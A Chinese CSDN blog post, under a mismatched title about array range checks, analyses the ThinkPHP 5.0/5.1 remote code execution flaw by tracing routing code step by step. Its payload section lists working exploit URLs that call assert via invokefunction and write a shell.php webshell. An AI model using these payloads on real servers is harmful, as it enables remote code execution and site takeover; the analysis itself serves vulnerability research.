rangechecks 检测代码检测到超出范围的数组访问。_Thinkphp 5.0远程代码执行漏洞

本文详细分析了ThinkPHP 5.0版本中的一个远程代码执行漏洞,起因是框架对控制器名的检测不足,导致在特定条件下允许恶意用户通过控制路由来实例化任意类,从而实现RCE。文章通过调试代码,揭示了漏洞的成因和利用过程,并给出了受影响的版本。
摘要由CSDN通过智能技术生成

0x01 简叙

本次版本更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.05.1版本,推荐尽快更新到最新版本。

这部分是官网的漏洞通告,官方最开始的补丁是在library/think/route/dispatch/Module.php中添加。

f3b21508e2ba7ae3db4759046ee0dd4f.png

但是随机在第二天的5.1.31版本中将这部分的控制移动到library/think/route/dispatch/Url.php中。

908bda06abfa3cfcc38eba093c05c886.png

0x02 漏洞分析

当然官方修改代码的位置是在thinkphp\library\think\route\dispatch\Module.php:70,因此可以现在这里下个断点看看。

73b48d81d49dbb638b7a7d84fef3452f.png

我们看到传入初始化的url之后,调用链调用了thinkphp\library\think\route\dispatch\url.php:25,我们来看一下代码。

1234567
public function init(){// 解析默认的URL规则$result = $this->parseUrl($this->dispatch);return (new Module($this->request, $this->rule, $result))->init();}

第四行调用了 parseUrl 函数针对传入的$this->dispatch进行解析。跟进一下 parseUrl 函数,函数位置在think/thinkphp/library/think/route/dispatch/Url.php:37,下一个断点看看。

5d3a8ada40b30facca33c74f03e29272.png

我们发现调用会调用 parseUrl 函数中的 parseUrlPath 方法针对url进行处理,跟进一下 parseUrlPath 方法。代码位置think/thinkphp/library/think/route/Rule.php

4e3735d96698687a72cd14d815fa20fc.png

对于thinkphp的框架来说url正常的请求方式应该是 aa/bb/cc 也就是上面代码注释中的模块/控制器/操作。然后这里将url根据/进行了切割形成一个数组存到 $path 变量中并返回到调用者。那么最后经过 parseUrl 函数处理之后的结果 $route 变量实际上就是上面的模块/控制器/操作三个部分。

e7718f1846eb18851cd688ecb618fb09.png

$result就是我们之前说到的封装好的路由数组,传递给了Module的构造函数。

908dea21b2b7701d464818e488295d53.png

我们继续往下看由于存在这两行代码:

12
class Url extends Dispatchclass Module extends Dispatch

也就是说这里的 url 和 module 都是继承自 Dispatch 类,跟进看一下 Dispatch 类的实现。相关代码在:think/thinkphp/library/think/route/Dispatch.php:64

62393376cbbd407d16f20f68b9026c98.png

因此根据这个结构,初始化 Module 类的时候,将我们之前的 $result 数组传递了给了 $dispatch 变量,并且调用 Module 类的init方法

1
return (new Module($this->request, $this->rule, $result))->init();

因此继续跟进下来的 $result 变量实际上是我们刚刚的数组。

4c223b748f896316a20941555e961429.png

所以回到我们刚刚的漏洞出发点,下个断点,我们发现 $controller 变量和 $this->actionName 都是从我们刚刚返回的 $result 数组中获取的。

fcbd257f478ffc896228b39d65add7f2.png

继续跟进调试,当路径判断等init操作全部完成之后,程序会运行到think/thinkphp/library/think/App.php:432

123
$this->middleware->add(function (Request $request, $next) use ($dispatch, $data) {return is_null($data) ? $dispatch->run() : $data;});

这行直接调用了$dispatch->run(),跟进一下,这个函数作用是执行路由调度。

7e7c8fa3259100ed65c9c485da3960cd.png

其中第19行调用了 exec 方法,跟进一下,这里我下了一个断点,当程序到了这里实例化了控制器 controller ,且根据上面的分析 $this->controller 完全可控。

d801a28903ef3b9e592e7ab71dc9bbef.png

继续跟进一下 controller ,第三行调用了 $this->parseModuleAndClass 方法来处理 $name 变量。而 $name 变量,正是前面是实例化的 $this->controller 。并且 第5-9行 此时判断类是否存在,不存在会触发自动加载类,然后第11行实例化这个类。

123456789101112
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = ''){list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);if (class_exists($class)) {return $this->__get($class);} elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) {return $this->__get($emptyClass);}throw new ClassNotFoundException('class not exists:' . $class, $class);}

跟进一下 parseModuleAndClass 方法,也就是说如果 $name 变量中带有/,会直接将$name赋值给$class并返回

1234567891011121314151617
protected function parseModuleAndClass($name, $layer, $appendSuffix){if (false !== strpos($name, '\\')) {$class  = $name;$module = $this->request->module();} else {if (strpos($name, '/')) {list($module, $name) = explode('/', $name, 2);} else {$module = $this->request->module();}$class = $this->parseClass($module, $layer, $name, $appendSuffix);}return [$module, $class];}

而从我们刚刚分析中可以知道 $name 实际上是可控的,这里实际上可以使用利用命名空间的特点(ph师傅真厉害,code-breaking的function就是说这个东西的),如果可以控制此处的$name(即路由中的controller部分),那么就可以实例化任何一个类。

31ae658ff53a59c40f74102dd3b20a58.png

那么现在到这里实际上为啥会RCE基本上弄清楚了,关键是如何控制它RCE,首先我们运行应用程序的时候,实际上是think/thinkphp/library/think/App.php:375

123456789101112131415161718
public function run(){try {// 初始化应用$this->initialize();....// 监听app_dispatch$this->hook->listen('app_dispatch');$dispatch = $this->dispatch;if (empty($dispatch)) {// 路由检测$dispatch = $this->routeCheck()->init();}// 记录当前调度信息$this->request->dispatch($dispatch);

我们看到第14行,调用 routeCheck 的init方法来检测路由,跟进一下 routeCheck 。

123456789101112
public function routeCheck(){...// 获取应用调度信息$path = $this->request->path();// 是否强制路由模式$must = !is_null($this->routeMust) ? $this->routeMust : $this->route->config('url_route_must');// 路由检测 返回一个Dispatch对象$dispatch = $this->route->check($path, $must);

从这里我们可以看到默认开启了强制路由模式,并且调用的 request 中的 path 方法来获取路由信息。跟进一下 path方法,发现调用的是 pathinfo 方法来读取路径信息。

1234567891011121314151617181920
public function path(){if (is_null($this->path)) {$suffix   = $this->config['url_html_suffix'];$pathinfo = $this->pathinfo();if (false === $suffix) {// 禁止伪静态访问$this->path = $pathinfo;} elseif ($suffix) {// 去除正常的URL后缀$this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo);} else {// 允许任何后缀访问$this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo);}}return $this->path;}

跟进一下 pathinfo 方法,我们发现它会从 $_GET[\$this->config[‘var_pathinfo’] 中判断是否有 $pathinfo 信息。

12345678
public function pathinfo(){if (is_null($this->pathinfo)) {if (isset($_GET[$this->config['var_pathinfo']])) {// 判断URL里面是否有兼容模式参数$pathinfo = $_GET[$this->config['var_pathinfo']];unset($_GET[$this->config['var_pathinfo']]);} elseif ($this->isCli()) {

当请求报文包含$_GET['s'],就取其值作为pathinfo,并返回pathinfo给调用函数。

2c7044ed3eca4389a2743900acd997e2.png

然后会 $path 交由 check 函数进行处理,最后的结果赋值给 $dispatch 。

1
$dispatch = $this->route->check($path, $must);

跟进一下 check 函数,最后实例化一个 UrlDispatch 对象,将 $url 传递给了构造函数。

1234567891011
public function check($url, $must = false){// 自动检测域名路由$domain = $this->checkDomain();$url    = str_replace($this->config['pathinfo_depr'], '|', $url);...// 默认路由解析return new UrlDispatch($this->request, $this->group, $url, ['auto_search' => $this->autoSearchController,]);}

继续跟进一下 UrlDispatch 对象,最后就回到了我们最开始的thinkphp\library\think\route\dispatch\url.php

f4acadbfbf7f6e53c99eec071ff13055.png

0x03 payload

自己真的懒。膜拜一下水泡泡师傅,这里直接丢他先知上给的,要是这个早出来几天就好了,这样我就可以刷一刷一个众测了,据说6个月前就有人在bbs问过这个问题了,tql。

5.1是下面这些:

1234567891011121314151617181920212223242526272829303132333435363738
think\Loader Composer\Autoload\ComposerStaticInit289837ff5d5ea8a00f5cc97a07c04561think\Error think\Containerthink\App think\Env think\Config think\Hook think\Facadethink\facade\Envenvthink\Dbthink\Lang think\Request think\Log think\log\driver\Filethink\facade\Routeroutethink\Route think\route\Rulethink\route\RuleGroupthink\route\Domainthink\route\RuleItemthink\route\RuleNamethink\route\Dispatchthink\route\dispatch\Urlthink\route\dispatch\Modulethink\Middlewarethink\Cookiethink\Viewthink\view\driver\Thinkthink\Templatethink\template\driver\Filethink\Sessionthink\Debugthink\Cachethink\cache\Driverthink\cache\driver\File

5.0 的有:

12345678910
think\Routethink\Configthink\Errorthink\Appthink\Requestthink\Hookthink\Envthink\Langthink\Logthink\Loader

两个版本公有的是:

12345678910
think\Route think\Loader think\Error think\App think\Env think\Config think\Hook think\Lang think\Request think\Log

5.1.x php版本>5.5

12345
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=asserthttp://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php %20phpinfo();?>

5.0.x php版本>=5.4

1
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

Refer

thinkphp 5.x全版本任意代码执行分析全记录

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值